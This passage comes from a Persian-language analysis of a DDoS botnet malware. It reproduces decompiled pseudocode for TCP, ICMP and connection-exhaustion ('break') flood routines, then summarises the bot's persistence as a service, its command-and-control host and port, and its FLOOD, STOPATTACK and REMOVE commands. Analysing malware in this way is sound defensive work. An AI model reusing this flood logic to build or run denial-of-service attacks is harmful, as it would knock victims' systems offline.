  *&name.sa_data[2] = inet_addr("192.168.1.2");
  if ( *&name.sa_data[2] != -1 )
  {
LABEL_4:
    while ( StopAttackFlag != 1 )
    {
      v2 = socket(2, 1, 0);
      if ( !connect(v2, &name, 16) )
      {
        v3 = 0;
        do
        {
          if ( send(
                 v2,
                 "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET
                 v0 - 1,
                 0) == -1 )
            break;
          ++v3;
        }
        while ( v3 < 10240 );
        Sleep(StopTimeBetweenAttackPackets);
      }
    }
    ExitThread(1u);
  }
  result = gethostbyname("192.168.1.2");
  if ( result )
  {
    qmemcpy(&name.sa_data[2], **(result + 12), *(result + 10));
    name.sa_family = *(result + 8);
    goto LABEL_4;
  }
  return result;
}
```

۴. **حمله icmp**: در این حمله یک درخواست ICMP Echo که در بخش Data آن یک درخواست Http تقلبی وجود دارد، دائماً با استفاده از پروتکل ICMP برای قربانی ارسال می‌شود. این کار حداکثر ۱۰۰ بار انجام خواهد شد. شکل زیر شبه کد اجرای این حمله را نشان می‌دهد:

```
  Sleep(2000u);
  WSAStartup(0x202u, &WSAData);
  *optval = 2000;
  result = WSASocketA(2, 3, 1, 0, 0, 1u);
  v1 = result;
  if ( result != -1 )
  {
    result = setsockopt(result, 65535, 4101, optval, 4);
    if ( result != -1 )
    {
      *&to.sa_family = 0;
      to.sa_family = 2;
      *&to.sa_data[6] = 0;
      *&to.sa_data[10] = 0;
      *&to.sa_data[2] = inet_addr("192.168.1.2");
      if ( *&to.sa_data[2] != -1 )
      {
LABEL_6:
        v2 = GetProcessHeap();
        v3 = HeapAlloc(v2, 8u, 0x1000u);
        v4 = v3;
        memset(v3, 0, 0x1000u);
        GetHttpGet(v3);
        v5 = 0;
        while ( StopAttackFlag != 1 )
        {
          *(v4 + 3) = v5;
          *(v4 + 1) = 0;
          v8 = v5 + 1;
          *(v4 + 2) = GetTickCount();
          *(v4 + 1) = ByteOperation(v4, 0x1000u);
          v6 = 100;
          do
          {
            sendto(v1, v4, 4096, 0, &to, 16);
            --v6;
          }
          while ( v6 );
          Sleep(5u);
          v5 = v8;
        }
        ExitThread(0);
      }
      result = gethostbyname("192.168.1.2");
      if ( result )
      {
        qmemcpy(&to.sa_data[2], **(result + 12), *(result + 10));
        to.sa_family = *(result + 8);
        goto LABEL_6;
      }
    }
  }
  return result;
```

۵. **حمله break**: در این حمله، بدافزار تلاش می‌کند تا حداکثر ۱۰۰۰۰ ارتباط TCP با سیستم قربانی برقرار کند که در صورت مدیریت ناصحیح، مسلماً منجر به از کار افتادن سیستم هدف خواهد شد. شکل زیر شبه کد اجرای ای حمله را نشان می‌دهد:

```
void __stdcall __noreturn BreakThread(LPVOID lpThreadParameter)
{
  signed int v1; // esi@2
  SOCKET v2; // eax@3
  struct sockaddr name; // [sp+0h] [bp-1A0h]@2
  struct WSAData WSAData; // [sp+10h] [bp-190h]@1

  WSAStartup(0x202u, &WSAData);
  while ( StopAttackFlag != 1 )
  {
    *&name.sa_family = 0;
    *&name.sa_data[2] = 0;
    name.sa_family = 2;
    *&name.sa_data[6] = 0;
    *&name.sa_data[10] = 0;
    *&name.sa_data[0] = htons(PortNumber);
    *&name.sa_data[2] = inet_addr("192.168.1.2");
    v1 = 10000;
    do
    {
      v2 = socket(2, 1, 0);
      connect(v2, &name, 16);
      --v1;
    }
    while ( v1 );
    Sleep(StopTimeBetweenAttackPackets);
  }
  ExitThread(0);
}
```

## نتیجه

تحلیل‌های انجام شده نشان می‌دهد که فایل تحلیل شده، ابتدا خود را در قالب یک سرویس در سیستم عامل نصب می‌کند تا اجرای همیشگی خود در هنگام راه‌اندازی سیستم اطمینان حاصل کند. پس از اجرا شدن در حالت سرویس، بدافزار با کارگزار کنترل و فرمان به آدرس gongjidos.3322.org بر روی درگاه شماره ۱۸۰۰ ارتباط برقرار

می‌کند. در صورت موفقیت آمیز بودن برقراری ارتباط، بدافزار میزان حافظه اصلی (RAM) و نسخه سیستم عامل قربانی را برای کارگزار ارسال کرده و منتظر دریافت دستورات بعدی می‌ماند. این بدافزار از ۳ نوع دستور پشتیبانی می‌کند. دستور FLOOD که برای اجرای حمله DDoS توسط گردانندگان شبکه بات استفاده می‌شود، دستور STOPATTACK که برای توقف حمله مورد استفاده قرار می‌گیرد و در نهایت دستور REMOVE که منجر به حذف سرویس بدافزار از روی سیستم قربانی می‌شود. حملات FLOOD انجام شده توسط این بدافزار به ۵ روش TCP، UDP، ICMP، SYN و BREAK قابل انجام هستند.